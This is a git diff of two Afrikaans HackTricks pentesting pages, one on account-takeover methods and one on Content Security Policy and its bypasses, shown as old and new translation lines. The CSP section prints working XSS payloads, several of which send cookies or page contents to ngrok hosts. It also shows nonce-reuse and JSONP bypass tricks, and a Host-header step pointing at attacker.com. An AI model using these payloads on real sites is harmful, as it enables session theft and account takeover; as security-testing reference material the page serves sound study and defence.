||||
* Meld aan via hierdie identiteitsverskaffer in die slagofferplatform wat die Unicode-karakter sal normaliseer en jou toegang tot die slagofferrekening sal gee.
|
||||
|
||||
Vir verdere besonderhede, verwys na die dokument oor Unicode Normalisering:
|
||||
|
||||
{% content-ref url="unicode-injection/unicode-normalization.md" %}
|
||||
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Herbruik van Herstel Kode**
|
||||
## **Herbruik van Herstelteken**
|
||||
|
||||
Indien die teikensisteem die **herstel skakel toelaat om hergebruik te word**, moet pogings aangewend word om **meer herstel skakels** te vind deur middel van gereedskap soos `gau`, `wayback`, of `scan.io`.
|
||||
Indien die teikensisteem die **herstel skakel hergebruik toelaat**, moet pogings aangewend word om **meer herstel skakels te vind** deur middel van gereedskap soos `gau`, `wayback`, of `scan.io`.
|
||||
|
||||
## **Voor Rekening Oorname**
|
||||
|
||||
1. Die slagoffer se e-pos moet gebruik word om aan te meld op die platform, en 'n wagwoord moet ingestel word (daar moet 'n poging aangewend word om dit te bevestig, alhoewel die gebrek aan toegang tot die slagoffer se e-posse dit moontlik onmoontlik kan maak).
|
||||
2. Daar moet gewag word totdat die slagoffer aanmeld deur middel van OAuth en die rekening bevestig.
|
||||
3. Dit word gehoop dat die gewone aanmelding bevestig sal word, wat toegang tot die slagoffer se rekening moontlik maak.
|
||||
1. Die slagoffer se e-pos moet gebruik word om op die platform aan te meld, en 'n wagwoord moet ingestel word (daar moet 'n poging aangewend word om dit te bevestig, alhoewel die gebrek aan toegang tot die slagoffer se e-posse dit moontlik onmoontlik kan maak).
|
||||
2. 'n Persoon moet wag totdat die slagoffer aanmeld deur gebruik te maak van OAuth en die rekening bevestig.
|
||||
3. Daar word gehoop dat die gewone aanmelding bevestig sal word, wat toegang tot die slagoffer se rekening sal gee.
|
||||
|
||||
## **CORS Foutkonfigurasie vir Rekening Oorname**
|
||||
## **CORS Foutkonfigurasie tot Rekening Oorname**
|
||||
|
||||
As die bladsy **CORS-foutkonfigurasies** bevat, kan jy moontlik **sensitiewe inligting steel** van die gebruiker om **sy rekening oor te neem** of hom te dwing om outentiseringsinligting te verander vir dieselfde doel:
|
||||
As die bladsy **CORS-foutkonfigurasies** bevat, kan jy dalk **sensitiewe inligting** van die gebruiker steel om **sy rekening oor te neem** of hom te dwing om outentiseringsinligting te verander vir dieselfde doel:
|
||||
|
||||
{% content-ref url="cors-bypass.md" %}
|
||||
[cors-bypass.md](cors-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Csrf vir Rekening Oorname**
|
||||
## **Csrf tot Rekening Oorname**
|
||||
|
||||
As die bladsy vatbaar is vir CSRF, kan jy moontlik die **gebruiker laat sy wagwoord**, e-pos of outentisering verander sodat jy dit dan kan toegang:
|
||||
As die bladsy vatbaar is vir CSRF, kan jy dalk die **gebruiker se wagwoord, e-pos of outentisering laat wysig** sodat jy dit dan kan toegang:
|
||||
|
||||
{% content-ref url="csrf-cross-site-request-forgery.md" %}
|
||||
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **XSS vir Rekening Oorname**
|
||||
## **XSS tot Rekening Oorname**
|
||||
|
||||
As jy 'n XSS in die aansoek vind, kan jy moontlik koekies, plaaslike stoor, of inligting van die webbladsy steel wat jou kan toelaat om die rekening oor te neem:
|
||||
As jy 'n XSS in die aansoek vind, kan jy dalk koekies, plaaslike stoor, of inligting van die webbladsy steel wat jou kan toelaat om die rekening oor te neem:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/" %}
|
||||
[xss-cross-site-scripting](xss-cross-site-scripting/)
|
||||
|
@ -64,43 +73,43 @@ As jy 'n XSS in die aansoek vind, kan jy moontlik koekies, plaaslike stoor, of i
|
|||
|
||||
## **Selfde Oorsprong + Koekies**
|
||||
|
||||
As jy 'n beperkte XSS of 'n subdomein oorneem, kan jy speel met die koekies (dit byvoorbeeld vasstel) om te probeer om die slagoffer se rekening te kompromitteer:
|
||||
As jy 'n beperkte XSS of 'n subdomein oorneem, kan jy met die koekies speel (hulle byvoorbeeld fikseer) om te probeer om die slagofferrekening te kompromitteer:
|
||||
|
||||
{% content-ref url="hacking-with-cookies/" %}
|
||||
[hacking-with-cookies](hacking-with-cookies/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Aanval op Wagwoord Herstel Meganisme**
|
||||
## **Aanval op Wagwoordherstel Meganisme**
|
||||
|
||||
{% content-ref url="reset-password.md" %}
|
||||
[reset-password.md](reset-password.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Respons Manipulasie**
|
||||
## **Responsmanipulasie**
|
||||
|
||||
As die outentiseringsrespons tot 'n eenvoudige booleaan gereduseer kan word, probeer dan om vals na waar te verander en sien of jy enige toegang kry.
|
||||
As die outentiseringsrespons tot 'n eenvoudige booleaanse waarde gereduseer kan word, probeer net om vals na waar te verander en sien of jy enige toegang kry.
|
||||
|
||||
## OAuth vir Rekening Oorname
|
||||
## OAuth tot Rekeningsoorname
|
||||
|
||||
{% content-ref url="oauth-to-account-takeover.md" %}
|
||||
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Gasheer Kop Injeksie
|
||||
## Aanbiedingskopinjeksie
|
||||
|
||||
1. Die Gasheer kop word gewysig na 'n wagwoord herstel versoek inisiasie.
|
||||
2. Die `X-Forwarded-For` proksi kop word verander na `attacker.com`.
|
||||
3. Die Gasheer, Verwys, en Oorsprong koppe word gelyktydig verander na `attacker.com`.
|
||||
4. Na die inisiasie van 'n wagwoord herstel en dan kies om die e-pos weer te stuur, word al drie van die genoemde metodes gebruik.
|
||||
1. Die Aanbiedingskop word gewysig na 'n wagwoordherstelversoekinisiasie.
|
||||
2. Die `X-Forwarded-For` proksikop word verander na `attacker.com`.
|
||||
3. Die Aanbiedingskoppe, Verwysers en Oorsprongkoppe word gelyktydig na `attacker.com` verander.
|
||||
4. Nadat 'n wagwoordherstel geïnisieer is en dan gekies word om die e-pos weer te stuur, word al drie van die genoemde metodes gebruik.
|
||||
|
||||
## Respons Manipulasie
|
||||
## Responsmanipulasie
|
||||
|
||||
1. **Kode Manipulasie**: Die status kode word verander na `200 OK`.
|
||||
2. **Kode en Liggaam Manipulasie**:
|
||||
* Die status kode word verander na `200 OK`.
|
||||
* Die respons liggaam word gewysig na `{"success":true}` of 'n leë voorwerp `{}`.
|
||||
1. **Kode-manipulasie**: Die statuskode word verander na `200 OK`.
|
||||
2. **Kode en Liggaammanipulasie**:
|
||||
* Die statuskode word verander na `200 OK`.
|
||||
* Die responsliggaam word verander na `{"success":true}` of 'n leë voorwerp `{}`.
|
||||
|
||||
Hierdie manipulasie tegnieke is effektief in scenario's waar JSON gebruik word vir data oordrag en ontvangs.
|
||||
Hierdie manipulasietegnieke is doeltreffend in situasies waar JSON gebruik word vir data-oordrag en -ontvangs.
|
||||
|
||||
## Verander e-pos van huidige sessie
|
||||
|
||||
|
@ -114,21 +123,7 @@ Vanaf [hierdie verslag](https://dynnyd20.medium.com/one-click-account-take-over-
|
|||
|
||||
Dit het ook in [**hierdie verslag**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) gebeur.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
|
||||
* [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
### Oue Koekies
|
||||
|
||||
Soos verduidelik [**in hierdie pos**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), was dit moontlik om in te teken op 'n rekening, die koekies as 'n geaute
|
||||
</details>
|
||||
|
|
|
@ -2,24 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
**Hakinsigte**\
|
||||
Raak betrokke by inhoud wat die opwinding en uitdagings van hak bevat
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hak bevat
|
||||
|
||||
**Haknuus in Werklikheid**\
|
||||
Bly op hoogte van die snelveranderende hakwêreld deur werklikheidsnuus en insigte
|
||||
|
@ -31,9 +31,9 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
## Wat is CSP
|
||||
|
||||
Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos kruissite-skripsing (XSS)**. Dit werk deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne behels 'n verskeidenheid elemente soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
|
||||
Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos kruissite-skripsing (XSS)**. Dit werk deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne sluit 'n verskeidenheid elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
|
||||
|
||||
Implementering van CSP word gedoen deur **responskoppe** of deur die insluiting van **meta-elemente in die HTML-bladsy**. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
|
||||
Implementering van CSP word gedoen deur **responskoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
|
||||
|
||||
* Geïmplementeer via responskop:
|
||||
```
|
||||
|
@ -43,16 +43,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
### Opwarmers
|
||||
### Opdraggewers
|
||||
|
||||
CSP kan afgedwing of gemonitor word met hierdie opwarmers:
|
||||
CSP kan afgedwing of gemonitor word met behulp van hierdie opdraggewers:
|
||||
|
||||
* `Content-Security-Policy`: Dwings die CSP af; die blaaier blokkeer enige oortredings.
|
||||
* `Content-Security-Policy`: Dwings die CSP af; die webblaaier blokkeer enige oortredings.
|
||||
* `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.
|
||||
|
||||
### Definiëring van Hulpbronne
|
||||
|
||||
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()` beheer. 'n Voorbeeldbeleid is:
|
||||
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos die uitvoering van inline JavaScript en die gebruik van `eval()`. 'n Voorbeeldbeleid is:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -66,14 +66,14 @@ object-src 'none';
|
|||
```
|
||||
### Riglyne
|
||||
|
||||
* **script-src**: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanteerders of XSLT-stylblaaie.
|
||||
* **script-src**: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanterings of XSLT-stylblaaie.
|
||||
* **default-src**: Stel 'n verstekbeleid in vir die ophaal van hulpbronne wanneer spesifieke ophaalriglyne afwesig is.
|
||||
* **child-src**: Spesifiseer toegelate bronne vir webwerkers en ingeslote raaminhoud.
|
||||
* **connect-src**: Beperk URL's wat gelaai kan word deur koppelvlakke soos fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Beperk URL's vir rame.
|
||||
* **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos `<frame>`, `<iframe>`, `<object>`, `<embed>`, en `<applet>`.
|
||||
* **img-src**: Definieer toegelate bronne vir afbeeldings.
|
||||
* **font-src**: Spesifiseer geldige bronne vir lettertipes wat gelaai word met `@font-face`.
|
||||
* **font-src**: Spesifiseer geldige bronne vir letterstyle wat gelaai word met `@font-face`.
|
||||
* **manifest-src**: Definieer toegelate bronne van aansoek-manifeslêers.
|
||||
* **media-src**: Definieer toegelate bronne vir die laai van media-voorwerpe.
|
||||
* **object-src**: Definieer toegelate bronne vir `<object>`, `<embed>`, en `<applet>` elemente.
|
||||
|
@ -82,7 +82,7 @@ object-src 'none';
|
|||
* **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
|
||||
* **upgrade-insecure-requests**: Gee browsers opdrag om HTTP-URL's na HTTPS te herskryf.
|
||||
* **sandbox**: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n `<iframe>`.
|
||||
* **report-to**: Spesifiseer 'n groep aan wie 'n verslag gestuur sal word as die beleid oortree word.
|
||||
* **report-to**: Spesifiseer 'n groep na wie 'n verslag gestuur sal word as die beleid oortree word.
|
||||
* **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker-skripte.
|
||||
* **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat gelaai of voorafgelaai sal word.
|
||||
* **navigate-to**: Beperk die URL's waarna 'n dokument kan navigeer op enige manier (a, vorm, window.location, window.open, ens.)
|
||||
|
@ -91,17 +91,17 @@ object-src 'none';
|
|||
|
||||
* `*`: Laat alle URL's toe behalwe dié met `data:`, `blob:`, `filesystem:` skemas.
|
||||
* `'self'`: Laat laai vanaf dieselfde domein toe.
|
||||
* `'data'`: Laat hulpbronne toe om gelaai te word via die data-skema (bv., Base64-gekodeerde afbeeldings).
|
||||
* `'data'`: Laat hulpbronne toe om gelaai te word via die data-skema (bv., Base64-geënkripteer afbeeldings).
|
||||
* `'none'`: Blokkeer laai vanaf enige bron.
|
||||
* `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.
|
||||
* `'unsafe-hashes'`: Stel spesifieke inline gebeurtenishanteerders in staat.
|
||||
* `'unsafe-hashes'`: Stel spesifieke inline gebeurtenishanterings in staat.
|
||||
* `'unsafe-inline'`: Laat die gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir veiligheidsredes nie.
|
||||
* `'nonce'`: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.
|
||||
* As jy JS-beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan her te gebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, dus is dit nie nodig nie), soos in:
|
||||
* As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan hergebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Laai skrip deur nonce her te gebruik</summary>
|
||||
<summary>Laai skrip deur nonce te hergebruik</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img src=x ng-on-error='
|
||||
|
@ -114,15 +114,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Witlys skripte met 'n spesifieke sha256-hash.
|
||||
* `'strict-dynamic'`: Laat skripte van enige bron laai as dit deur 'n nonce of hash op die witlys geplaas is.
|
||||
* `'strict-dynamic'`: Laat skripte van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
|
||||
* `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
|
||||
* `https:`: Beperk URL's tot dié wat HTTPS gebruik.
|
||||
* `blob:`: Laat toe dat hulpbronne van Blob-URL's gelaai word (bv., Blob-URL's wat deur JavaScript geskep is).
|
||||
* `filesystem:`: Laat toe dat hulpbronne vanaf die lêersisteem gelaai word.
|
||||
* `blob:`: Laat hulpbronne toe om van Blob-URL's (bv., Blob-URL's wat deur JavaScript geskep is) gelaai te word.
|
||||
* `filesystem:`: Laat hulpbronne toe om van die lêersisteem gelaai te word.
|
||||
* `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
|
||||
* `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).
|
||||
* `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
|
||||
* `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.
|
||||
* `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprong-aanvrae gedoen word, maar stuur slegs die oorsprong wanneer die aanvraag kruis-oorsprong is.
|
||||
* `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie, aangesien dit die sekuriteit verswak.
|
||||
|
||||
## Onveilige CSP-reëls
|
||||
|
||||
|
@ -152,7 +152,7 @@ Werkende lading:
|
|||
```
|
||||
### streng-dinamies
|
||||
|
||||
As jy op een of ander manier kan bewerkstellig dat **toegelate JS-kode 'n nuwe skriptiket in die DOM met jou JS-kode skep**, sal die **nuwe skriptiket toegelaat word om uitgevoer te word** omdat 'n toegelate skrip dit skep.
|
||||
Indien jy op een of ander manier kan bewerkstellig dat **toegelate JS-kode 'n nuwe skriptag in die DOM met jou JS-kode skep**, sal die **nuwe skriptag toegelaat word om uitgevoer te word**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
|
@ -166,7 +166,7 @@ Werkende lading:
|
|||
### Gebrek aan object-src en default-src
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Dit lyk of dit nie meer werk nie**
|
||||
**Dit lyk nie meer of dit werk nie**
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
|
@ -187,11 +187,11 @@ Werkende lading:
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Echter, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer **valideer** en sal slegs toelaat dat jy **'n bepaalde tipe lêers oplaai**.
|
||||
Egter, dit is baie waarskynlik dat die bediener die opgelaaide lêer **valideer** en slegs sal toelaat dat jy 'n **bepaalde tipe lêers oplaai**.
|
||||
|
||||
Selfs al sou jy 'n **JS-kode binne** 'n lêer kon oplaai deur 'n aanvaarde uitbreiding deur die bediener te gebruik (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die **MIME-tipe van die lêer kies op grond van die uitbreiding** en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet van** die _**.wave**_ uitbreiding nie, daarom bedien dit dit nie met 'n **MIME-tipe soos audio/\*** nie.
|
||||
Verder, selfs as jy 'n **JS-kode binne** 'n lêer kon oplaai deur 'n aanvaarde uitbreiding deur die bediener te gebruik (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die **MIME-tipe van die lêer kies op grond van die uitbreiding** en webblaaier soos Chrome sal **weier om Javascript**-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet van** die _**.wave**_ uitbreiding nie, daarom bedien dit dit nie met 'n **MIME-tipe soos audio/\*** nie.
|
||||
|
||||
Vanaf hier, as jy 'n XSS vind en 'n lêeroplaai, en jy slaag daarin om 'n **verkeerd geïnterpreteerde uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott ([enkele poliglott-voorbeelde hier](https://github.com/Polydet/polyglot-database)).
|
||||
Vanaf hier, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n **verkeerd geïnterpreteerde uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglote ([enkele poliglote voorbeelde hier](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Vorm-aksie
|
||||
|
||||
|
@ -229,7 +229,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
#### Ladingstukke wat Angular + 'n biblioteek met funksies wat die `window`-objek teruggee, gebruik ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Die pos toon dat jy **alle biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek-repo) kon **laai**, al die bygevoegde funksies van elke biblioteek kon uitvoer, en nagaan **watter funksies van watter biblioteke die `window`-objek teruggee**.
|
||||
Die pos toon dat jy **alle biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek-opslag) **kan laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en kan nagaan **watter funksies van watter biblioteke die `window`-objek teruggee**.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -273,7 +273,7 @@ ng-init="c.init()"
|
|||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Meer [**payloads van hierdie skryfstuk**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
Meer [**lading van hierdie skryfstuk**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||
|
||||
|
@ -300,9 +300,9 @@ Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang in 'n
|
|||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
### Afrikaans Translation
|
||||
### Bypassing CSP with JSONP
|
||||
|
||||
Scenarios soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:
|
||||
Situasies soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -312,9 +312,9 @@ Scenarios soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke
|
|||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed om JSONP eindpunte te gebruik vir CSP omseiling van verskillende webwerwe.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed om te gebruik JSONP eindpunte vir CSP omleiding van verskillende webwerwe.**
|
||||
|
||||
Dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Oop Aanstuur bevat** omdat as die oorspronklike eindpunt vertrou word, is aanstuurders vertrou.
|
||||
Dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Oop Omleiding bevat** omdat as die aanvanklike eindpunt vertrou word, is omleidings vertrou.
|
||||
|
||||
### Derde Party Misbruik
|
||||
|
||||
|
@ -331,7 +331,7 @@ Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-th
|
|||
| Salesforce Heroku | \*.herokuapp.com | Uitsif, Uitvoer|
|
||||
| Google Firebase | \*.firebaseapp.com | Uitsif, Uitvoer|
|
||||
|
||||
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kanse goed dat jy die CSP kan omseil deur te registreer op die derde party-diens en óf data na daardie diens uit te sif óf kode uit te voer.
|
||||
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kanse goed dat jy die CSP kan omseil deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.
|
||||
|
||||
Byvoorbeeld, as jy die volgende CSP vind:
|
||||
```
|
||||
|
@ -341,26 +341,44 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
